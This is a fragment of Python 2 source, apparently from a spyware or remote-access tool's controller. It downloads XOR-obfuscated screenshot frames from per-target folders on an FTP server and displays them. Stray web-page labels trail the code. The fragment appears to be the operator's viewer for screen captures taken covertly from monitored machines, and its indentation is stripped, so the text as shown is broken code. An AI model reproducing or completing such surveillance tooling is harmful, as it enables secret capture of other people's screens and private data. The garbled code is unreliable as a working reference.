def ViewScreenCaptureStream(self): #not developed it much, it requires more work to be done to be fully functional
frames = []
frameFileNames = [fN for fN in self.ftp.nlst("\\"+ self.directories[self.dirNum] +"\\vv") if fN != "s.mm"]
if frameFileNames:
for fileName in frameFileNames:
retrievedData = []
self.ftp.retrbinary('RETR ' + "\\"+ self.directories[self.dirNum] +"\\vv\\" + fileName, retrievedData.append)
tempBuff = StringIO.StringIO()
tempBuff.write(XorText("".join(retrievedData),self.xorMap))
tempBuff.seek(0) #need to jump back to the beginning before handing it off to PIL
printscreen_pil = Image.open(tempBuff)
printscreen_pil = printscreen_pil.resize((printscreen_pil.size[0],printscreen_pil.size[1]), Image.ANTIALIAS)
frame = np.array(printscreen_pil.getdata(),dtype=np.uint8).reshape((printscreen_pil.size[1],printscreen_pil.size[0],3))
#frames.append(frame)
cv2.namedWindow("window", cv2.WINDOW_NORMAL)
cv2.imshow('window', frame)
#cv2.resizeWindow('window', 200,200)
if cv2.waitKey(0) & 0xFF == ord('q'):
cv2.destroyAllWindows()
break
else:
print "No frames available"
return
'''
for frame in frames:
cv2.namedWindow("window", cv2.WINDOW_NORMAL)
cv2.imshow('window', frame)
#cv2.resizeWindow('window', 200,200)
if cv2.waitKey(0) & 0xFF == ord('q'):
cv2.destroyAllWindows()
break
'''
评论列表
文章目录